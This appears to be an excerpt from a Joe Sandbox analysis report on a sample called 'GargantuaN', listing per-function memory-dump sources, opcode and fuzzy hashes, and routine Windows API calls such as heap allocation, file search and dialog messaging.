Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: H_prolog$CloseFind
String ID:
API String ID: 2506663941-0
Opcode ID: a3584f1164082747d3743392f804fb654745f6538ef21d542c4848a6a68e1411
Instruction ID: 9a74a88439fb4d27a6a72535dae2cb76336cc4865c3576209ce692dffc80069f
Opcode Fuzzy Hash: a3584f1164082747d3743392f804fb654745f6538ef21d542c4848a6a68e1411
Instruction Fuzzy Hash: D341A7759446589ADF20DB60CC55BEAB778EF00305F4404EAEC8AA7092EB755ECCDB70

Uniqueness

Uniqueness Score: -1.00%

Function 00D513E1 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D513E1

Part of subcall function 00D55E37: __EH_prolog.LIBCMT ref: 00D55E3C

Part of subcall function 00D5CE40: __EH_prolog.LIBCMT ref: 00D5CE45

Part of subcall function 00D5B505: __EH_prolog.LIBCMT ref: 00D5B50A

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: a6cf97421971a09143ab13f6bdfde2d4655bfdada2b0bf7717af9df77494371b
Instruction ID: 302bd61277719c15d411e8fb8981ffc21578c744d9507716202dab4874691fb2
Opcode Fuzzy Hash: a6cf97421971a09143ab13f6bdfde2d4655bfdada2b0bf7717af9df77494371b
Instruction Fuzzy Hash: 7B413EB0905B409ED724DF798885AE6FBE5FF19310F504A2ED9FE83242DB716658CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00D513DC Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D513E1

Part of subcall function 00D55E37: __EH_prolog.LIBCMT ref: 00D55E3C

Part of subcall function 00D5CE40: __EH_prolog.LIBCMT ref: 00D5CE45

Part of subcall function 00D5B505: __EH_prolog.LIBCMT ref: 00D5B50A

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 07595720aa5a60b46ba778a3cd34b7dfa0dc0d51bda77277bd14dd731e605d3a
Instruction ID: b0f8317f9b85c481786ebe6b51ae3e056f6cd81575a54ded8fdd1ef6e35f8d1f
Opcode Fuzzy Hash: 07595720aa5a60b46ba778a3cd34b7dfa0dc0d51bda77277bd14dd731e605d3a
Instruction Fuzzy Hash: 77413EB0905B409ED724DF798885AE6FBE5FF19310F50492ED9FE83241DB716654CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00D6B093 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D6B098

Part of subcall function 00D513DC: __EH_prolog.LIBCMT ref: 00D513E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c60cb7c5de35ccd60f0ce8ad9691fb90fa0ca5e0edd9dc542cb7b64e774d005b
Instruction ID: de38c0356202a30e6a8a2443432d65e20e2139f8a4f3afa087eadb766f0b3c71
Opcode Fuzzy Hash: c60cb7c5de35ccd60f0ce8ad9691fb90fa0ca5e0edd9dc542cb7b64e774d005b
Instruction Fuzzy Hash: 8F314D75804249AFCF15DF64C951AEEBBB4EF05314F14449EE809B7242D739AE48CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00D7AC98 Relevance: 1.6, APIs: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00D7ACF8

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 4dd38f5b6d0dd563fbabf19d8d55219be27e683e91052c9c11aed90fa1259cfd
Instruction ID: 7eebcedf8268d398af6d331af8829aa7098113b3614e4ce299f1395ab2b0dafd
Opcode Fuzzy Hash: 4dd38f5b6d0dd563fbabf19d8d55219be27e683e91052c9c11aed90fa1259cfd
Instruction Fuzzy Hash: 2011E737A00225AF9B329E1DDC5089E7395EBC432071AC220EC59EB354F630DC018BF2

Uniqueness

Uniqueness Score: -1.00%

Function 00D59215 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D5921A

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 26c571a90e210984256b7a7d26f1a3d4ff4c558796dda180342c1003bffce405
Instruction ID: e90bcc2b504dedab6feacd55104bc26a6bbf8e9c292cecccc77dc8bef8cae7d4
Opcode Fuzzy Hash: 26c571a90e210984256b7a7d26f1a3d4ff4c558796dda180342c1003bffce405
Instruction Fuzzy Hash: 0D015277900528EBCF21ABA8CD919DEB776EF88751F054515EC16BB252DA348D0886B0

Uniqueness

Uniqueness Score: -1.00%

Function 00D7C479 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00D7B136: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00D79813,00000001,00000364,?,00D73F73,00000050,?,00D91030,00000200), ref: 00D7B177

_free.LIBCMT ref: 00D7C4E5

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 7bcb57144d722b3f6fb3f884bcb86c333c53e20e4031edd189f970cc783d8b92
Instruction ID: c0b57b45989b2208db419dbf3f00470da841d5207bd97de2b1d43c517caf0f12
Opcode Fuzzy Hash: 7bcb57144d722b3f6fb3f884bcb86c333c53e20e4031edd189f970cc783d8b92
Instruction Fuzzy Hash: B901D6722103056FE3318E699885A6AFBE9EB85374F65451EE59883281FA30A905C774

Uniqueness

Uniqueness Score: -1.00%

Function 00D7B136 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00D79813,00000001,00000364,?,00D73F73,00000050,?,00D91030,00000200), ref: 00D7B177

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 23e5f5d9e1dd439aab6a42273a6a0488803b6313820198d3e18692a23ded228b
Instruction ID: dab26534d5681d0bd8b452527228ebf8ca4f34151af2d67937f6e3c18894990f
Opcode Fuzzy Hash: 23e5f5d9e1dd439aab6a42273a6a0488803b6313820198d3e18692a23ded228b
Instruction Fuzzy Hash: 3BF05432545725ABDB215B25AC2AB5E7748EF41770B9CC213FC0CDB190FB21D90186F0

Uniqueness

Uniqueness Score: -1.00%

Function 00D73C0D Relevance: 1.5, APIs: 1, Instructions: 34libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00D73C3F

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: a9d9b2ef10fb513fc3f94481ce50a3b10afab8449d9cead8da39e55928bec693
Instruction ID: 7758f7fb4a68bf819ca386f4187a6ce79ee48660b2d8de5ef759618fd4e175df
Opcode Fuzzy Hash: a9d9b2ef10fb513fc3f94481ce50a3b10afab8449d9cead8da39e55928bec693
Instruction Fuzzy Hash: E6F0A7322003169F8F125E68EC0099A7799EF01B607248125FA0DE7190FB31DA20E7B0

Uniqueness

Uniqueness Score: -1.00%

Function 00D78E06 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00D7CA2C,00000000,?,00D76CBE,?,00000008,?,00D791E0,?,?,?), ref: 00D78E38

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6a0cd2aa39a4aa82b52dd4a7da18cdc5a77fce5fd0a09c4f7676a06fbffae780
Instruction ID: aa69100f57a798c40a0a805889fc73dab45f596e365e2228714898d34d9d1eb8
Opcode Fuzzy Hash: 6a0cd2aa39a4aa82b52dd4a7da18cdc5a77fce5fd0a09c4f7676a06fbffae780
Instruction Fuzzy Hash: E0E06D3268662596EA7226659C0DB9FB648DB417B4F59C121BC5C96191FF22CC00A3F1

Uniqueness

Uniqueness Score: -1.00%

Function 00D55ABD Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D55AC2

Part of subcall function 00D5B505: __EH_prolog.LIBCMT ref: 00D5B50A

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 1001810da14e339d306ec2473b11804a165370f32d6fa0b16a1757d6769a9341
Instruction ID: 1410ee2608b501780a8882dfcbaf1db0ad697a3cf91b24b7a97fdf2ee827b642
Opcode Fuzzy Hash: 1001810da14e339d306ec2473b11804a165370f32d6fa0b16a1757d6769a9341
Instruction Fuzzy Hash: A1018C30810694DBDB29E7B8C0557EEFBA8DF64304F54848EA85A53282CBB41B08D7B2

Uniqueness

Uniqueness Score: -1.00%

Function 00D59620 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(000000FF,?,?,00D595D6,?,?,?,?,?,00D82641,000000FF), ref: 00D5963B

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 14aa285c3c68591ad02ddc60a2b41c6c643ed03ea318499ea7270e76762354e8
Instruction ID: b9aa9aab5f4f4bd69360796a7d827d49992159a82b003d4919de746951ab544e
Opcode Fuzzy Hash: 14aa285c3c68591ad02ddc60a2b41c6c643ed03ea318499ea7270e76762354e8
Instruction Fuzzy Hash: 51F08070481715DFDF304A24C458752F7E85B12322F081B1DDCF6475E0D771558D9760

Uniqueness

Uniqueness Score: -1.00%

Function 00D5A56D Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 00D5A69B: FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00D5A592,000000FF,?,?), ref: 00D5A6C4
Part of subcall function 00D5A69B: FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,00D5A592,000000FF,?,?), ref: 00D5A6F2
Part of subcall function 00D5A69B: GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00D5A592,000000FF,?,?), ref: 00D5A6FE

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00D5A598

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: c6cf3f3905a1e9b944ed57bd6e21c514bc8751e5d39444fb9d62fbdcb9eda2c0
Instruction ID: d2ced23e7c81abbb02d63a0895643b6d34c90754a4e353588f44ea2897decc1e
Opcode Fuzzy Hash: c6cf3f3905a1e9b944ed57bd6e21c514bc8751e5d39444fb9d62fbdcb9eda2c0
Instruction Fuzzy Hash: 42F089310087A0AACF2257B84905BDB7B90AF15333F058B49FDFD52196D275509C9B33

Uniqueness

Uniqueness Score: -1.00%

Function 00D60E08 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00D60E3D

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 32a73730235763dad749d91949bc1fc3d0bdea669a542a8b83bde3c6f778bcc7
Instruction ID: a32d7957baddc543c827dd047d1c1e9d9a275721f3266d06e29a77833f66a93d
Opcode Fuzzy Hash: 32a73730235763dad749d91949bc1fc3d0bdea669a542a8b83bde3c6f778bcc7
Instruction Fuzzy Hash: F1D02B14B1116517DF11372C28197FF2D0ACFD7711F0C0026F84D97383CE46488AA272

Uniqueness

Uniqueness Score: -1.00%

Function 00D6A626 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00D6A62C

Part of subcall function 00D6A3B9: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00D6A3DA

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction ID: e84654e7f19a843b94cee8f94cd110668b4be96bf19cd305d61963e29a883845
Opcode Fuzzy Hash: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction Fuzzy Hash: DCD0C77121060977DF416FA9CD12A6E7695EB10344F04C125B8C1E5151EAB1D9109972

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E5BB Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadProtectSection.DELAYIMP ref: 00D6E5E3

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: DloadProtectSection
String ID:
API String ID: 2203082970-0
Opcode ID: 92107a391c2c43ff924d161861fd030ef991b57d6060a4d5a24387fe9735d177
Instruction ID: 92c7ced35a5fca36ca74f95dbd671a1c9069910d3baf85f6b4be2f66ad152888
Opcode Fuzzy Hash: 92107a391c2c43ff924d161861fd030ef991b57d6060a4d5a24387fe9735d177
Instruction Fuzzy Hash: A5D022BC0C0340CFC301EBE8A8627183B50F320700FE40201F147C2292DBA090C2CB3A

Uniqueness

Uniqueness Score: -1.00%

Function 00D6DD6D Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,00D61B3E), ref: 00D6DD92

Part of subcall function 00D6B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00D6B579
Part of subcall function 00D6B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D6B58A
Part of subcall function 00D6B568: IsDialogMessageW.USER32(0002047E,?), ref: 00D6B59E
Part of subcall function 00D6B568: TranslateMessage.USER32(?), ref: 00D6B5AC
Part of subcall function 00D6B568: DispatchMessageW.USER32(?), ref: 00D6B5B6

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: c4ef1170f49dc1d629779f54ed5d35c0a86684b4b4a12045fab4e8f0b313cac0
Instruction ID: 71321ebc4834f3ce12b880d7fb3787bffaa4a79db47866fbb14896b8f11cabb7
Opcode Fuzzy Hash: c4ef1170f49dc1d629779f54ed5d35c0a86684b4b4a12045fab4e8f0b313cac0
Instruction Fuzzy Hash: 62D09E31144300BBD6012B51CD06F0F7AA6EF89B04F004555B285B40B1C672AD71EB36

Uniqueness

Uniqueness Score: -1.00%

Function 00D598BC Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,00D597BE), ref: 00D598C8

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 7cf896f020fa96a19e9b63c746cb59b1630e1fc72ef7a8ed781ee7bcd79068be
Instruction ID: 8cdde8cecc3f09d20a42aa1940c84c7b864c92c162c151c7a6fea02b471ccdb5
Opcode Fuzzy Hash: 7cf896f020fa96a19e9b63c746cb59b1630e1fc72ef7a8ed781ee7bcd79068be
Instruction Fuzzy Hash: 81C01234400205C68E308A24986809ABB22AA537A77B88795C828CA0A1C332CC8FEB21

Uniqueness

Uniqueness Score: -1.00%

